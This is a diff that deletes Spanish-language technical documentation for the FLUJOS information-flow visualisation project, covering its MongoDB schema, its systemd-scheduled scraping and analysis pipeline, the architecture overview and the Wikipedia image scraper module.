||||||
"archivo": "titulo-noticia.txt", // UNIQUE INDEX
|
|
||||||
"tema": "guerra global",
|
|
||||||
"subtema": "conflictos internacionales",
|
|
||||||
"texto": "Texto limpio de la noticia...",
|
|
||||||
"fecha": ISODate | null
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### `torrents`
|
|
||||||
Documentos de WikiLeaks y otros torrents de documentos filtrados.
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"_id": ObjectId,
|
|
||||||
"archivo": "documento.pdf.txt", // UNIQUE INDEX
|
|
||||||
"tema": "...",
|
|
||||||
"subtema": "...",
|
|
||||||
"texto": "...",
|
|
||||||
"fecha": ISODate | null
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### `imagenes`
|
|
||||||
Imágenes analizadas por Qwen3-VL-8B. Solo se crea un doc cuando el modelo ha generado descripción.
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"_id": ObjectId,
|
|
||||||
"archivo": "cambio_climatico_003.jpg", // UNIQUE INDEX
|
|
||||||
"image_path": "/var/www/.../IMAGENES/output/wiki_images/cambio_climatico/cambio_climatico_003.jpg",
|
|
||||||
"tema": "cambio climático",
|
|
||||||
"subtema": "calentamiento global",
|
|
||||||
"texto": "descripción generada por Qwen3-VL...",
|
|
||||||
"keywords": ["glaciar", "deshielo", "ártico"],
|
|
||||||
"fecha": ISODate("2026-04-21")
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### `imagenes_wiki`
|
|
||||||
Imágenes scrapeadas de Wikipedia SIN análisis Qwen. Fallback cuando `imagenes` no tiene el doc.
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"_id": ObjectId,
|
|
||||||
"archivo": "cambio_climatico_003.jpg", // UNIQUE INDEX
|
|
||||||
"image_path": "/var/www/.../output/wiki_images/cambio_climatico/cambio_climatico_003.jpg",
|
|
||||||
"image_url": "https://upload.wikimedia.org/...",
|
|
||||||
"tema": "cambio climático",
|
|
||||||
"subtema": "glaciares árticos",
|
|
||||||
"descripcion_wiki": "Descripción Wikimedia del fichero",
|
|
||||||
"articulo_titulo": "Calentamiento global",
|
|
||||||
"fecha": ISODate("2026-04-21")
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### `comparaciones`
|
|
||||||
Pares de documentos con su similitud calculada. ~52M documentos existentes.
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"_id": ObjectId,
|
|
||||||
"noticia1": "Nombre_articulo_A.txt",
|
|
||||||
"noticia2": "Nombre_articulo_B.txt",
|
|
||||||
"porcentaje_similitud": 23.45 // float, % de palabras compartidas
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**IMPORTANTE:** Esta colección NO tiene índice único porque los 52M docs existentes pueden tener duplicados. Las escrituras usan `update_one(..., upsert=True)` por `(noticia1, noticia2)`.
|
|
||||||
|
|
||||||
### `pipeline_log`
|
|
||||||
Estado de ejecución del pipeline maestro. Un doc por ejecución de fase.
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"_id": ObjectId,
|
|
||||||
"fase": "scraping" | "analisis" | "comparacion",
|
|
||||||
"estado": "en_progreso" | "completado" | "error",
|
|
||||||
"inicio": ISODate,
|
|
||||||
"fin": ISODate | null,
|
|
||||||
"stats": {
|
|
||||||
"wikipedia_nuevos": 15,
|
|
||||||
"noticias_nuevos": 230,
|
|
||||||
"imagenes_wiki_nuevas": 60
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Índices únicos
|
|
||||||
|
|
||||||
Creados automáticamente por `pipeline_maestro.py::setup_indices()`:
|
|
||||||
|
|
||||||
```
|
|
||||||
wikipedia.archivo UNIQUE ASC
|
|
||||||
noticias.archivo UNIQUE ASC
|
|
||||||
imagenes.archivo UNIQUE ASC
|
|
||||||
imagenes_wiki.archivo UNIQUE ASC
|
|
||||||
```
|
|
||||||
|
|
||||||
El campo `archivo` es el nombre del fichero (ej: `"Guerra_del_Golfo.txt"`). Es la clave de deduplicación en todos los upserts.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Volumen aproximado (2026-04-21)
|
|
||||||
|
|
||||||
| Colección | Docs aprox. | Tamaño |
|
|
||||||
|---|---|---|
|
|
||||||
| wikipedia | ~5.000 | ~50 MB texto |
|
|
||||||
| noticias | ~20.000 | ~200 MB texto |
|
|
||||||
| torrents | ~500 | ~10 MB |
|
|
||||||
| imagenes | ~150 | 1 MB (solo metadatos) |
|
|
||||||
| imagenes_wiki | ~500 | 2 MB |
|
|
||||||
| comparaciones | ~52.000.000 | ~3.2 GB |
|
|
||||||
| pipeline_log | <100 | <1 MB |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Consultas frecuentes desde la API
|
|
||||||
|
|
||||||
### Query de nodos (FLUJOS_APP.js línea 67–94)
|
|
||||||
```javascript
|
|
||||||
// Filtro base
|
|
||||||
{ tema: "guerra global", subtema: "...", texto: { $regex: "...", $options: 'i' } }
|
|
||||||
|
|
||||||
// Con fechas
|
|
||||||
{ ..., fecha: { $gte: new Date("2024-01-01"), $lte: new Date("2024-12-31") } }
|
|
||||||
```
|
|
||||||
|
|
||||||
### Query de enlaces (línea 147–155)
|
|
||||||
```javascript
|
|
||||||
{
|
|
||||||
porcentaje_similitud: { $gte: 20.0 },
|
|
||||||
noticia1: { $in: [...nodeIds] },
|
|
||||||
noticia2: { $in: [...nodeIds] }
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Conexión desde Node.js
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
// FLUJOS_APP.js
|
|
||||||
const mongoUrl = process.env.MONGO_URL || 'mongodb://localhost:27017';
|
|
||||||
const dbName = process.env.DB_NAME || 'FLUJOS_DATOS';
|
|
||||||
const client = new MongoClient(mongoUrl);
|
|
||||||
await client.connect();
|
|
||||||
const db = client.db(dbName);
|
|
||||||
```
|
|
||||||
|
|
||||||
Configuración en `.env`:
|
|
||||||
```
|
|
||||||
MONGO_URL=mongodb://localhost:27017
|
|
||||||
DB_NAME=FLUJOS_DATOS
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Conexión desde Python
|
|
||||||
|
|
||||||
```python
|
|
||||||
from pymongo import MongoClient
|
|
||||||
client = MongoClient('mongodb://localhost:27017', serverSelectionTimeoutMS=5000)
|
|
||||||
db = client['FLUJOS_DATOS']
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Temas definidos en el sistema
|
|
||||||
|
|
||||||
Los temas son etiquetas fijas asignadas durante el scraping/tokenización:
|
|
||||||
|
|
||||||
```
|
|
||||||
"guerra global" → subtemas: conflictos internacionales, guerras civiles, terrorismo, armas, alianzas militares
|
|
||||||
"inteligencia y seguridad"→ subtemas: inteligencia, ciberseguridad, espionaje, seguridad nacional, contraterrorismo
|
|
||||||
"cambio climático" → subtemas: cambio climático, desastres naturales, conservación, energía renovable, escasez de agua
|
|
||||||
"demografía y sociedad" → subtemas: sobrepoblación, enfermedades, migraciones, urbanización, despoblación rural
|
|
||||||
"economía y corporaciones"→ subtemas: economía global, corporaciones multinacionales, comercio internacional, organismos financieros, desigualdad económica
|
|
||||||
"otros" → documentos que no encajan en ningún tema
|
|
||||||
```
|
|
||||||
|
|
||||||
La asignación la hace `pipeline_completo.py::asignar_tema_y_subtema()` buscando palabras clave en el texto.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Ruta del dato físico
|
|
||||||
|
|
||||||
```
|
|
||||||
MongoDB FLUJOS_DATOS
|
|
||||||
└── imagenes_wiki / imagenes
|
|
||||||
└── image_path → $FLUJOS/FLUJOS_DATOS/IMAGENES/output/wiki_images/{tema_slug}/{archivo}
|
|
||||||
servido como → https://upleaks.org/wiki-images/{tema_slug}/{archivo}
|
|
||||||
```
|
|
||||||
|
|
@ -1,300 +0,0 @@
|
||||||
# Pipeline Maestro — Contexto técnico FLUJOS
|
|
||||||
**Fecha:** 2026-04-24 (actualizado)
|
|
||||||
**Archivo:** `FLUJOS_DATOS/pipeline_maestro.py`
|
|
||||||
**Scheduler:** systemd timer `flujos-pipeline.timer` — cada 12H (`OnUnitActiveSec=12H`)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Visión general
|
|
||||||
|
|
||||||
El pipeline maestro orquesta las tres fases del sistema en orden estricto:
|
|
||||||
|
|
||||||
```
|
|
||||||
FASE 1 — SCRAPING
|
|
||||||
├── Wikipedia (main.py) → colección wikipedia
|
|
||||||
├── Noticias (main_noticias.py) → colección noticias
|
|
||||||
├── Imágenes Wikipedia (wikipedia_image_scraper.py) → colección imagenes_wiki
|
|
||||||
└── Comparaciones imagen-texto (comparar_imagenes_wiki.py) → colección comparaciones
|
|
||||||
[AÑADIDO 2026-04-24: TF-IDF entre imagenes_wiki y corpus texto,
|
|
||||||
necesario porque Qwen (fase 2) tarda demasiado y imagenes_wiki
|
|
||||||
queda sin enlaces en el grafo hasta que Qwen termine]
|
|
||||||
|
|
||||||
FASE 2 — ANÁLISIS
|
|
||||||
├── Qwen3-VL imágenes (pipeline_imagenes.py --analizar) → colección imagenes
|
|
||||||
└── Tokenización texto (pipeline_mongolo.py) → colección noticias/wikipedia (actualiza)
|
|
||||||
|
|
||||||
FASE 3 — COMPARACIÓN
|
|
||||||
└── Similitud entre documentos (pipeline_completo.py) → colección comparaciones
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Ejecución
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Ejecución completa (las 3 fases)
|
|
||||||
$FLUJOS/FLUJOS_DATOS/myenv/bin/python3 pipeline_maestro.py
|
|
||||||
|
|
||||||
# Solo una fase
|
|
||||||
python pipeline_maestro.py --solo-fase scraping
|
|
||||||
python pipeline_maestro.py --solo-fase analisis
|
|
||||||
python pipeline_maestro.py --solo-fase comparacion
|
|
||||||
|
|
||||||
# Forzar re-ejecución ignorando cooldown de 20h
|
|
||||||
python pipeline_maestro.py --forzar
|
|
||||||
python pipeline_maestro.py --solo-fase scraping --forzar
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Control de estado — MongoDB `pipeline_log`
|
|
||||||
|
|
||||||
Cada fase registra inicio, fin y stats en la colección `pipeline_log`:
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"fase": "scraping",
|
|
||||||
"estado": "completado" | "en_progreso" | "error",
|
|
||||||
"inicio": ISODate("2026-04-20T03:00:00Z"),
|
|
||||||
"fin": ISODate("2026-04-20T04:15:00Z"),
|
|
||||||
"stats": {
|
|
||||||
"wikipedia_nuevos": 45,
|
|
||||||
"noticias_nuevos": 312,
|
|
||||||
"imagenes_wiki_nuevas": 60
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Lógica de "¿necesita correr?"
|
|
||||||
|
|
||||||
```python
|
|
||||||
def fase_necesita_correr(db, fase, forzar=False):
|
|
||||||
if forzar: return True
|
|
||||||
ultimo = db['pipeline_log'].find_one({'fase': fase}, sort=[('inicio', -1)])
|
|
||||||
if not ultimo: return True # nunca corrió
|
|
||||||
if ultimo['estado'] != 'completado': return True # última ejecución falló
|
|
||||||
if utcnow() - ultimo['fin'] < timedelta(hours=20):
|
|
||||||
return False # cooldown activo
|
|
||||||
return True
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Lockfile — prevención de instancias simultáneas
|
|
||||||
|
|
||||||
```python
|
|
||||||
LOCK_FILE = Path("/tmp/flujos_pipeline.lock")
|
|
||||||
|
|
||||||
class PipelineLock:
|
|
||||||
def __enter__(self):
|
|
||||||
self._f = open(LOCK_FILE, "w")
|
|
||||||
fcntl.flock(self._f, fcntl.LOCK_EX | fcntl.LOCK_NB) # non-blocking
|
|
||||||
# Si ya hay lock → BlockingIOError → log.error + sys.exit(1)
|
|
||||||
```
|
|
||||||
|
|
||||||
Si el pipeline muere abruptamente, el lock se libera automáticamente cuando el proceso termina (el SO libera todos los file locks del proceso muerto).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Índices de deduplicación (idempotente)
|
|
||||||
|
|
||||||
```python
|
|
||||||
def setup_indices(db):
|
|
||||||
indices = {
|
|
||||||
"wikipedia": [("archivo", ASCENDING)],
|
|
||||||
"noticias": [("archivo", ASCENDING)],
|
|
||||||
"imagenes": [("archivo", ASCENDING)],
|
|
||||||
"imagenes_wiki": [("archivo", ASCENDING)],
|
|
||||||
# comparaciones: SIN índice único (52M docs con posibles duplicados)
|
|
||||||
}
|
|
||||||
for col, keys in indices.items():
|
|
||||||
db[col].create_index(keys, unique=True, background=True)
|
|
||||||
```
|
|
||||||
|
|
||||||
Se ejecuta al inicio de cada pipeline. `create_index` es idempotente — no falla si el índice ya existe.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Fase 3 — Modo incremental
|
|
||||||
|
|
||||||
La comparación usa el flag `--desde` para solo comparar documentos nuevos:
|
|
||||||
|
|
||||||
```python
|
|
||||||
ultima = ultima_ejecucion_completada(db, "comparacion")
|
|
||||||
if ultima:
|
|
||||||
args = ["--desde", ultima.strftime("%Y-%m-%d")]
|
|
||||||
# pipeline_completo.py solo procesa docs con fecha >= ultima ejecución
|
|
||||||
```
|
|
||||||
|
|
||||||
Esto evita re-comparar los 52M pares existentes en cada ejecución.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Systemd — configuración
|
|
||||||
|
|
||||||
**Archivos instalados en `/etc/systemd/system/`:**
|
|
||||||
|
|
||||||
### flujos-pipeline.service
|
|
||||||
|
|
||||||
```ini
|
|
||||||
[Unit]
|
|
||||||
Description=FLUJOS Pipeline Maestro
|
|
||||||
After=network.target mongod.service
|
|
||||||
Requires=mongod.service
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=oneshot
|
|
||||||
User=capitansito
|
|
||||||
WorkingDirectory=$FLUJOS/FLUJOS_DATOS
|
|
||||||
Environment=MONGO_URL=mongodb://localhost:27017
|
|
||||||
Environment=DB_NAME=FLUJOS_DATOS
|
|
||||||
ExecStart=$FLUJOS/FLUJOS_DATOS/myenv/bin/python3 \
|
|
||||||
$FLUJOS/FLUJOS_DATOS/pipeline_maestro.py
|
|
||||||
TimeoutStartSec=43200
|
|
||||||
Nice=15
|
|
||||||
CPUQuota=400%
|
|
||||||
StandardOutput=journal
|
|
||||||
StandardError=journal
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
```
|
|
||||||
|
|
||||||
`Nice=15` + `CPUQuota=400%` limita el pipeline a ~4 cores para no saturar el servidor (Qwen en CPU puede usar 1000%+ por instancia sin esto).
|
|
||||||
|
|
||||||
### flujos-pipeline.timer
|
|
||||||
|
|
||||||
```ini
|
|
||||||
[Unit]
|
|
||||||
Description=Ejecutar FLUJOS Pipeline cada 2 dias a las 03:00
|
|
||||||
Requires=flujos-pipeline.service
|
|
||||||
|
|
||||||
[Timer]
|
|
||||||
OnBootSec=2min
|
|
||||||
OnUnitActiveSec=2d
|
|
||||||
Persistent=true
|
|
||||||
Unit=flujos-pipeline.service
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=timers.target
|
|
||||||
```
|
|
||||||
|
|
||||||
Timer activo a 12H (`OnUnitActiveSec=12H`). `Persistent=true` hace que si el servidor estaba apagado cuando tocaba, el timer se dispara 2 minutos después del siguiente arranque.
|
|
||||||
|
|
||||||
**AVISO 2026-04-24:** El servicio falló por timeout (SIGTERM a las 12h) el 2026-04-22 porque la fase 2 (Qwen, 186 imágenes × ~3 min/imagen ≈ 9h) más la fase 1 (~2h) superaron `TimeoutStartSec=43200`. El timer quedó en estado `elapsed/n/a`. Para resetear manualmente:
|
|
||||||
```bash
|
|
||||||
sudo systemctl reset-failed flujos-pipeline.service
|
|
||||||
sudo systemctl start flujos-pipeline.timer
|
|
||||||
```
|
|
||||||
|
|
||||||
### Comandos de gestión
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Ver estado del timer
|
|
||||||
systemctl status flujos-pipeline.timer
|
|
||||||
|
|
||||||
# Ver logs del último pipeline
|
|
||||||
journalctl -u flujos-pipeline.service -n 100
|
|
||||||
|
|
||||||
# Lanzar manualmente
|
|
||||||
systemctl start flujos-pipeline.service
|
|
||||||
|
|
||||||
# Habilitar/deshabilitar timer
|
|
||||||
systemctl enable flujos-pipeline.timer
|
|
||||||
systemctl disable flujos-pipeline.timer
|
|
||||||
|
|
||||||
# Ver cuándo es la próxima ejecución
|
|
||||||
systemctl list-timers flujos-pipeline.timer
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Cooldown y tiempos esperados de ejecución
|
|
||||||
|
|
||||||
| Fase | Cooldown mínimo | Tiempo estimado |
|
|
||||||
|---|---|---|
|
|
||||||
| scraping | 20h | 2–6h (depende de medios accesibles) |
|
|
||||||
| analisis | 20h | 1–4h (Qwen en CPU es lento: ~3 min/imagen) |
|
|
||||||
| comparacion | 20h | Variable (incremental: 30 min / full: varios días) |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Resumen de estadísticas al final
|
|
||||||
|
|
||||||
Al completar, el pipeline imprime en el log:
|
|
||||||
|
|
||||||
```
|
|
||||||
Estado MongoDB:
|
|
||||||
wikipedia : 5,234
|
|
||||||
noticias : 21,456
|
|
||||||
imagenes : 150
|
|
||||||
imagenes_wiki : 500
|
|
||||||
comparaciones : 52,100,000
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Log del pipeline
|
|
||||||
|
|
||||||
```
|
|
||||||
FLUJOS_DATOS/pipeline_maestro.log → log principal (en .gitignore)
|
|
||||||
```
|
|
||||||
|
|
||||||
También visible en journald:
|
|
||||||
```bash
|
|
||||||
journalctl -u flujos-pipeline.service --since "2026-04-20"
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Errores conocidos y fixes aplicados
|
|
||||||
|
|
||||||
| Script | Error | Fix |
|
|
||||||
|---|---|---|
|
|
||||||
| `WIKIPEDIA/main.py` | `NameError: buscar_articulos` no definida | Añadido `from wikipedia_utils import buscar_articulos, obtener_contenido_wikipedia` |
|
|
||||||
| `WIKIPEDIA/main.py` | `ModuleNotFoundError: wikipedia` | `pip install wikipedia` en myenv |
|
|
||||||
| `WIKIPEDIA/main.py` | `ModuleNotFoundError: wikipediaapi` | `pip install wikipedia-api` en myenv |
|
|
||||||
| `NOTICIAS/main_noticias.py` | `ModuleNotFoundError: deep_translator` | `pip install deep-translator` en myenv |
|
|
||||||
|
|
||||||
Todos los módulos se instalan dentro del entorno virtual:
|
|
||||||
```bash
|
|
||||||
$FLUJOS/FLUJOS_DATOS/myenv/bin/python3 -m pip install <modulo>
|
|
||||||
```
|
|
||||||
No usar `pip` directamente (el ejecutable `pip` del venv puede estar roto; usar `python3 -m pip`).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Dependencias Python
|
|
||||||
|
|
||||||
```
|
|
||||||
pymongo
|
|
||||||
bson # ObjectId (incluido con pymongo)
|
|
||||||
fcntl # stdlib Python
|
|
||||||
argparse # stdlib Python
|
|
||||||
subprocess
|
|
||||||
```
|
|
||||||
|
|
||||||
El pipeline maestro solo llama a los sub-scripts vía `subprocess.run()`, no importa sus módulos directamente.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Flujo completo diagram
|
|
||||||
|
|
||||||
```
|
|
||||||
pipeline_maestro.py
|
|
||||||
│
|
|
||||||
├── setup_indices(db) # crea índices únicos
|
|
||||||
│
|
|
||||||
├── [FASE 1] fase_scraping()
|
|
||||||
│ ├── subprocess: WIKIPEDIA/main.py
|
|
||||||
│ ├── subprocess: NOTICIAS/main_noticias.py
|
|
||||||
│ ├── subprocess: IMAGENES/wikipedia_image_scraper.py --flujos --max 20 --mongo
|
|
||||||
│ └── subprocess: IMAGENES/comparar_imagenes_wiki.py --umbral 3.0 ← AÑADIDO 2026-04-24
|
|
||||||
│
|
|
||||||
├── [FASE 2] fase_analisis()
|
|
||||||
│ ├── subprocess: IMAGENES/pipeline_imagenes.py --analizar --carpeta ... --mongo
|
|
||||||
│ └── subprocess: COMPARACIONES/pipeline_mongolo.py
|
|
||||||
│
|
|
||||||
└── [FASE 3] fase_comparacion()
|
|
||||||
└── subprocess: COMPARACIONES/pipeline_completo.py [--desde YYYY-MM-DD]
|
|
||||||
```
|
|
||||||
|
|
@ -1,98 +0,0 @@
|
||||||
# FLUJOS — Documentación técnica
|
|
||||||
**Última actualización:** 2026-04-21
|
|
||||||
**Proyecto:** Plataforma libre de análisis y visualización de flujos de información
|
|
||||||
**Stack:** Node.js + Express + MongoDB + Python (BERT, Qwen3-VL) + Three.js/3d-force-graph
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Índice de documentos
|
|
||||||
|
|
||||||
| Documento | Contenido |
|
|
||||||
|---|---|
|
|
||||||
| [SEGURIDAD.md](SEGURIDAD.md) | Informe de vulnerabilidades (NoSQL injection, XSS, rate limiting...) + fixes |
|
|
||||||
| [MONGODB.md](MONGODB.md) | Esquema de colecciones, índices, volúmenes, consultas frecuentes |
|
|
||||||
| [VISUALIZACION_JS.md](VISUALIZACION_JS.md) | Frontend Three.js, API endpoint, nodos imagen Sprite, scripts por vista |
|
|
||||||
| [SCRAPER_IMAGENES_QWEN.md](SCRAPER_IMAGENES_QWEN.md) | Scraper Wikipedia imágenes + analizador Qwen3-VL-8B (carga, batch, resume) |
|
|
||||||
| [SCRAPER_WIKIPEDIA.md](SCRAPER_WIKIPEDIA.md) | Scraper artículos Wikipedia, tokenización BERT, temas y keywords |
|
|
||||||
| [SCRAPER_NOTICIAS.md](SCRAPER_NOTICIAS.md) | Scraper de ~90 medios internacionales, traducción, limpieza, ficheros adjuntos |
|
|
||||||
| [PIPELINE_MAESTRO.md](PIPELINE_MAESTRO.md) | Orquestador 3 fases, systemd timer, lockfile, estado MongoDB, cooldowns |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Arquitectura en una página
|
|
||||||
|
|
||||||
```
|
|
||||||
Internet
|
|
||||||
│
|
|
||||||
▼
|
|
||||||
nginx (upleaks.org:443, TLS Let's Encrypt)
|
|
||||||
├── / → FLUJOS/VISUALIZACION/public/ (estáticos)
|
|
||||||
├── /api/ → proxy → Node.js :3000
|
|
||||||
└── /wiki-images/ → (Node.js sirve estáticos de IMAGENES/output/wiki_images/)
|
|
||||||
|
|
||||||
Node.js — FLUJOS/BACK_BACK/FLUJOS_APP.js
|
|
||||||
└── GET /api/data → MongoDB FLUJOS_DATOS
|
|
||||||
|
|
||||||
MongoDB localhost:27017 — FLUJOS_DATOS
|
|
||||||
├── wikipedia (~5k docs)
|
|
||||||
├── noticias (~20k docs)
|
|
||||||
├── imagenes (~150 docs, analizadas con Qwen)
|
|
||||||
├── imagenes_wiki (~500 docs, solo metadatos scrapeados)
|
|
||||||
├── comparaciones (~52M pares de similitud)
|
|
||||||
└── pipeline_log (estado de ejecuciones)
|
|
||||||
|
|
||||||
Python Pipeline (systemd timer — domingos 3:00 AM)
|
|
||||||
FLUJOS_DATOS/pipeline_maestro.py
|
|
||||||
├── Fase 1: scraping (Wikipedia + noticias + imágenes)
|
|
||||||
├── Fase 2: análisis (Qwen3-VL + tokenización BERT)
|
|
||||||
└── Fase 3: comparación (similitud coseno entre documentos)
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Variables de entorno (.env en FLUJOS/BACK_BACK/)
|
|
||||||
|
|
||||||
```
|
|
||||||
MONGO_URL=mongodb://localhost:27017
|
|
||||||
DB_NAME=FLUJOS_DATOS
|
|
||||||
PORT=3000
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Rutas críticas del servidor
|
|
||||||
|
|
||||||
```
|
|
||||||
$FLUJOS/
|
|
||||||
├── docs/ # esta documentación
|
|
||||||
├── FLUJOS/
|
|
||||||
│ ├── BACK_BACK/FLUJOS_APP.js # servidor Node.js
|
|
||||||
│ └── VISUALIZACION/public/ # frontend estático
|
|
||||||
├── FLUJOS_DATOS/
|
|
||||||
│ ├── pipeline_maestro.py # orquestador
|
|
||||||
│ ├── myenv/ # Python venv (~2 GB, en .gitignore)
|
|
||||||
│ ├── WIKIPEDIA/main.py # scraper Wikipedia
|
|
||||||
│ ├── NOTICIAS/main_noticias.py # scraper noticias
|
|
||||||
│ ├── IMAGENES/
|
|
||||||
│ │ ├── wikipedia_image_scraper.py # scraper imágenes
|
|
||||||
│ │ ├── image_analyzer.py # Qwen3-VL
|
|
||||||
│ │ ├── pipeline_imagenes.py # orquestador imágenes
|
|
||||||
│ │ ├── model_cache/ # Qwen descargado (~16 GB, .gitignore)
|
|
||||||
│ │ └── output/wiki_images/ # imágenes en disco (.gitignore)
|
|
||||||
│ └── COMPARACIONES/
|
|
||||||
│ ├── pipeline_completo.py # cálculo de similitud
|
|
||||||
│ └── pipeline_mongolo.py # tokenización + inserción MongoDB
|
|
||||||
└── .gitignore # excluye datos pesados del repo
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Seguridad — prioridades pendientes
|
|
||||||
|
|
||||||
1. 🔴 **Aplicar `sanitizeParam()`** en FLUJOS_APP.js para prevenir NoSQL injection
|
|
||||||
2. 🔴 **Cambiar `'0.0.0.0'` por `'127.0.0.1'`** en `app.listen()` para cerrar puerto 3000
|
|
||||||
3. 🟠 **Reemplazar `innerHTML` por `textContent`** en output_int_sec.js y 3dscript_eco-corp.html
|
|
||||||
4. 🟠 **Añadir `express-rate-limit`** al endpoint `/api/`
|
|
||||||
5. 🟡 **Activar `helmet()` completo** (no solo CSP) para quitar `X-Powered-By`
|
|
||||||
|
|
||||||
Ver [SEGURIDAD.md](SEGURIDAD.md) para código de fix completo.
|
|
||||||
|
|
@ -1,287 +0,0 @@
|
||||||
# Scraper de Imágenes + Analizador Qwen3-VL — Contexto técnico FLUJOS
|
|
||||||
**Fecha:** 2026-04-21
|
|
||||||
**Directorio:** `FLUJOS_DATOS/IMAGENES/`
|
|
||||||
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Componentes del módulo
|
|
||||||
|
|
||||||
```
|
|
||||||
FLUJOS_DATOS/IMAGENES/
|
|
||||||
├── wikipedia_image_scraper.py # Descarga imágenes de Wikipedia por tema
|
|
||||||
├── image_analyzer.py # Analiza imágenes con Qwen3-VL-8B
|
|
||||||
├── image_comparator.py # Compara imágenes (similaridad visual)
|
|
||||||
├── mongo_helper.py # Utilidades MongoDB para este módulo
|
|
||||||
├── pipeline_imagenes.py # Orquestador del módulo (flags CLI)
|
|
||||||
├── requirements_imagenes.txt # Dependencias del módulo
|
|
||||||
├── model_cache/ # Modelo Qwen descargado (~16 GB) — en .gitignore
|
|
||||||
└── output/
|
|
||||||
└── wiki_images/ # Imágenes descargadas — en .gitignore
|
|
||||||
├── cambio_climático/
|
|
||||||
├── geopolítica_conflictos/
|
|
||||||
├── seguridad_internacional_espionaje/
|
|
||||||
└── ...
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Parte 1: wikipedia_image_scraper.py
|
|
||||||
|
|
||||||
### Qué hace
|
|
||||||
|
|
||||||
Descarga imágenes de Wikipedia por tema usando la **Wikimedia REST API**. Para cada tema de FLUJOS busca artículos relacionados, extrae las imágenes de cada artículo y las descarga filtrando iconos/logos pequeños.
|
|
||||||
|
|
||||||
### Temas de FLUJOS que se scrapean (`TEMAS_FLUJOS`)
|
|
||||||
|
|
||||||
```python
|
|
||||||
# ACTUALIZADO 2026-04-24: cambiados a los 5 temas del frontend
|
|
||||||
# (antes eran 10 con nombres académicos que no coincidían con los temas del backend)
|
|
||||||
TEMAS_FLUJOS = [
|
|
||||||
"cambio climático",
|
|
||||||
"guerra global",
|
|
||||||
"inteligencia y seguridad",
|
|
||||||
"economía y corporaciones",
|
|
||||||
"demografía y sociedad",
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
> **Por qué cambió:** Los 10 temas originales ("geopolítica conflictos", "seguridad internacional espionaje", etc.) no coincidían con los temas validados en `FLUJOS_APP.js` (`TEMAS_VALIDOS`), por lo que las imágenes se descargaban pero nunca aparecían en el grafo porque la query `{tema: "inteligencia y seguridad"}` no encontraba documentos con `tema: "seguridad internacional espionaje"`.
|
|
||||||
|
|
||||||
> Las imágenes scrapeadas con los temas antiguos siguen en disco (`output/wiki_images/geopolítica_conflictos/`, etc.) pero solo las de los 5 temas nuevos están accesibles desde el frontend.
|
|
||||||
|
|
||||||
### Filtros de calidad (imágenes que se descartan)
|
|
||||||
|
|
||||||
```python
|
|
||||||
MIN_WIDTH = 200 # pixels
|
|
||||||
MIN_HEIGHT = 200 # pixels
|
|
||||||
MIN_BYTES = 20_000 # 20 KB mínimo
|
|
||||||
|
|
||||||
SKIP_PATTERNS = [
|
|
||||||
"flag_", "Flag_", "icon", "Icon", "logo", "Logo",
|
|
||||||
"symbol", "Symbol", "coat_of_arms", "commons-logo",
|
|
||||||
"wiki", "Wiki", "question_mark", "edit-", "nuvola",
|
|
||||||
"Nuvola", "pictogram", "OOjs", "Ambox", "Portal-", "Disambig",
|
|
||||||
